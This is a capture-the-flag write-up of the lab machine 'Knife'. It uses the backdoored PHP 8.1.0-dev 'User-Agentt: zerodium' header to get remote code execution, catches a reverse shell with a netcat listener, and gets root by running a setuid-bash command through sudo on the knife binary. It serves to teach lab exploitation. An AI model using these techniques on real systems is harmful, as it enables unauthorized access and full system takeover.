🟢Knife

OS: Linux; - Difficulty: Easy

Port scan

PORT   STATE SERVICE 
22/tcp open  ssh 
80/tcp open  http

website

looking at the site we don't see anything interesting.

I tried fuzzing around to find more information but found nothing.

so I decided to look at the requests.

request:

response

here we have something interesting: the server is running PHP 8.1.0-dev.

searching about PHP 8.1.0-dev vulnerabilities

https://www.h3c.com/cn/d_202104/1397014_30003_0.htm

After translating this site we see that in this specific version of php a backdoor was placed (this backdoor was quickly removed in the updates)

searching more about the backdoor I found this:

https://blog.csdn.net/zy15667076526/article/details/116447864

this article teaches us how to use this backdoor to execute code and have an RCE

by adding the header "User-Agentt: zerodium" we can execute php code.

so our request will be:

and we got the response:

worked, we got Remote Code execution

User

open a listener

nc -lvnp 1234

use this header

got shell

improving this shell to a tty

Privilege Escalation

sudo -l

check this binary

cat /usr/bin/knife

looks like a management program written in ruby

running this binary

/usr/bin/knife

we see that we can run commands

image

I wrote a script that runs a command to make bash runnable as root without a password

echo '`chmod +s /bin/bash`' > rootscript

sudo /usr/bin/knife exec rootscript

now run bash with -p flag

bash -p

we got root, just get the root flag

image
PreviousCapNextThe Notebook

Last updated